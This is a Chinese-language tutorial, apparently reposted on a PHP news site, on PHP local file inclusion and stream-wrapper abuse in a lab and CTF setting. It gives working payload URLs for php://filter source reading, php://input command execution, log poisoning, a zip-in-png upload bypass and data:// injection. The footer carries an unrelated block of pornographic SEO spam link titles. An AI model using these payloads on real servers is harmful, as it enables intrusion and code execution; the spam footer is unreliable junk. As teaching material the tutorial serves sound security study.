站長資訊網
        最全最豐富的資訊網站

        一起來分析文件包含及PHP偽協議利用

        本篇文章給大家帶來了關于PHP的相關問題,其中主要介紹了關于文件包含和PHP偽協議的相關內容,文件包含漏洞是“代碼注入”的一種,下面一起來看一下,希望對大家有幫助。

        一起來分析文件包含及PHP偽協議利用

        推薦學習:《PHP視頻教程》

        文件包含

        文件包含漏洞是“代碼注入”的一種。其原理就是注入一段用戶能控制的腳本或代碼,并讓服務端執行?!按a注入”的典型代表就是文件包含。

        要想成功利用文件包含漏洞進行攻擊,需要滿足以下兩個條件:

        • Web應用采用include()等文件包含函數通過動態變量的方式引入需要包含的文件;

        • 用戶能夠控制該動態變量。

        常見的導致文件包含的函數:
        PHP:include()、include_once()、require()、require_once()等;
        1.php文件包含可以直接執行包含文件的代碼,包含的文件格式不受任何限制
        在 php 中提供了四個文件包含函數:
        (1) Require: 找不到被包含的文件時會產生致命錯誤(E_COMPILE_ERROR),并停止腳本;
        (2) Include:找不到被包含的文件時只會產生一個(E_warinng),腳本將繼續執行;
        (3) Require_once:與 include 類似會產生警告,區別是如果文件代碼已經被包含,則不會再次被包含;

        PHP偽協議

        php偽協議,事實上是其支持的協議與封裝協議。而其支持的協議有:

        file:// — 訪問本地文件系統  php:// — 訪問各個輸入/輸出流(I/O streams)data:// — 數據(RFC 2397)zip:// — 壓縮流

        一起來分析文件包含及PHP偽協議利用

        all_url_include在php 5.2以后添加,安全方便的設置(php的默認設置)為:allow_url_fopen=on;all_url_include=off;
        allow_url_fopen = On (允許打開URL文件,預設啟用)
        allow_url_fopen = Off (禁止打開URL文件)
        allow_url_include = Off (禁止引用URL文件,新版增加功能,預設關閉)
        allow_url_include = On (允許引用URL文件,新版增加功能)

        file協議

        file:// 文件系統是 PHP 使用的默認封裝協議,展現了本地文件系統。

        使用file://協議去包含本地的phpinfo.php

        http://localhost/www/lfi.php?file=file://F:phpstudyphpstudy_proWWWwwwphpinfo.php

        一起來分析文件包含及PHP偽協議利用

        PHP協議

        php:// 訪問各個輸入/輸出流(I/O streams),在CTF中經常使用的是php://filter和php://input
        php://filter用于讀取源碼:
        php://input用于執行php代碼。

        http://localhost/www/lfi.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.php

        php://filter讀取php文件時候需要base64編碼
        一起來分析文件包含及PHP偽協議利用
        php://input

        1. allow_url_include = On

        php://input + [POST DATA]執行php代碼
        需要***allow_url_include = On***

        http://localhost/www/lfi.php?file=php://input  POST	<?system('ipconfig')?>

        一起來分析文件包含及PHP偽協議利用

        1. allow_url_include = Off

        不過一般大部分情況下,allow_url_include 為默認關閉狀態,
        就不能包含POST數據了,這種情況下可以包含apache日志或者錯誤日志記錄

        首先需要fuzz大法,爆破出日志的路徑,

        為了測試方便,我先將日志的內容清空,方便演示

        訪問該網址,通過報錯將代碼寫入日志中
        注意:這里要使用burp抓包去訪問,不然代碼會被url編碼寫入日志,就不能執行了
        也可以將代碼寫入 user-agent中

        http://localhost/www/lfi.php?file=<?php phpinfo();?>

        一起來分析文件包含及PHP偽協議利用

        一起來分析文件包含及PHP偽協議利用
        我的日志路徑為:
        F:phpstudyphpstudy_proExtensionsApache2.4.39logsaccess.log.1631750400

        使用file://偽協議去讀取日志,發現phpinfo被成功執行了

        http://localhost/www/lfi.php?file=file://F:phpstudyphpstudy_proExtensionsApache2.4.39logsaccess.log.1631750400

        一起來分析文件包含及PHP偽協議利用

        zip://協議

        ** zip:// & bzip2:// & zlib:// **均屬于壓縮流,可以訪問壓縮文件中的子文件,更重要的是不需要指定后綴名,可修改為任意后綴:jpg png gif xxx等等。

        這里分析一個文件上傳和文件包含結合的CTF案例

        首先分析文件上傳的源代碼

        <html><form action="" enctype="multipart/form-data" method="post" name="upload">file:<input type="file" name="file" /><br> <input type="submit" value="upload" /></form><?phpif(!empty($_FILES["file"])){     echo $_FILES["file"];     $allowedExts = array("gif", "jpeg", "jpg", "png");     @$temp = explode(".", $_FILES["file"]["name"]);     $extension = end($temp);     if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")     || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")     || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))     && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))     {         //move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);         echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];     }     else     {         echo "upload failed!";     }}echo $_FILES["file"]["tmp_name"];?></html>

        分析源代碼發現,文件上傳采用了白名單限制策略,只能上傳
        “gif", “jpeg”, “jpg”, "png"四種后綴名的文件。

        分析文件包含的源代碼

        <html>Tips: the parameter is file! :) <!-- upload.php --></html><?php     @$file = $_GET["file"];     echo $file;     if(isset($file))     {         if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)         {             echo "<p> error! </p>";         }         else         {             include($file.'.php');         }     }?>

        分析文件包含源代碼,發現限制了部分偽協議和%00截斷,且在include中自動添加了php后綴名,但是沒有限制zip偽協議。

        綜上分析可以發現,在文件包含中利用zip偽協議,可以創建test.zip的壓縮包,里面放著test.php的文件。

        在文件上傳時候將后綴名zip修改為png的后綴名,

        test.php中寫入木馬

        <?phpphpinfo();?>

        如下圖所示
        一起來分析文件包含及PHP偽協議利用

        一起來分析文件包含及PHP偽協議利用

        圖片上傳成功之后,利用文件包含和zip://協議去讀取test.png中的test.php,發現phpinfo()被執行了,說明poc驗證成功

        http://172.22.32.25:42715/include.php?file=zip://upload/test.png%23test

        一起來分析文件包含及PHP偽協議利用

        data://

        條件:

        allow_url_fopen:on allow_url_include :on

        訪問網址

        http://localhost/www/lfi.php?file=data://text/plain,<?php phpinfo();?>

        也可以使用base64編碼,防止代碼被過濾掉

        file=data://text/plain,base64;PD9waHAgcGhwaW5mbygpPz4=
        一起來分析文件包含及PHP偽協議利用

        推薦學習:《PHP視頻教程》

        贊(0)
        分享到: 更多 (0)
        網站地圖   滬ICP備18035694號-2    滬公網安備31011702889846號
        主站蜘蛛池模板: 久久精品99久久香蕉国产色戒 | 国产线视频精品免费观看视频| 无码AV动漫精品一区二区免费 | 精品一区二区三区东京热| 国产乱子伦精品免费视频| 国产精品合集一区二区三区| 午夜肉伦伦影院久久精品免费看国产一区二区三区 | 国产精品人成在线观看| 国产精品www| 久久99精品久久只有精品| 亚洲精品456播放| 久久精品国产亚洲AV不卡| 99久久精品免费观看国产| 国产精品视频久久久| 久久ww精品w免费人成| 无码精品人妻一区二区三区免费看| 麻豆精品国产自产在线观看一区| 国产精品JIZZ在线观看老狼| 亚洲精品高清久久| 久久99热国产这有精品| 东京热TOKYO综合久久精品| 特级精品毛片免费观看| 亚洲精品无码av天堂| 精品国产毛片一区二区无码| 国产精品成人精品久久久| 欧美大片日韩精品| 久久99国产精品99久久| 国产精品一国产精品| 国产精品视频一区国模私拍| 99久久人妻无码精品系列蜜桃| 国产精品无码午夜福利| 国产精品无码AV一区二区三区| 精品人妻中文av一区二区三区 | 精品熟女少妇a∨免费久久| 亚洲动漫精品无码av天堂| 在线观看91精品国产网站| 亚洲国产精品国产自在在线| 亚洲av午夜精品一区二区三区 | 一本大道无码日韩精品影视| 香蕉99久久国产综合精品宅男自| 午夜精品久久久久成人|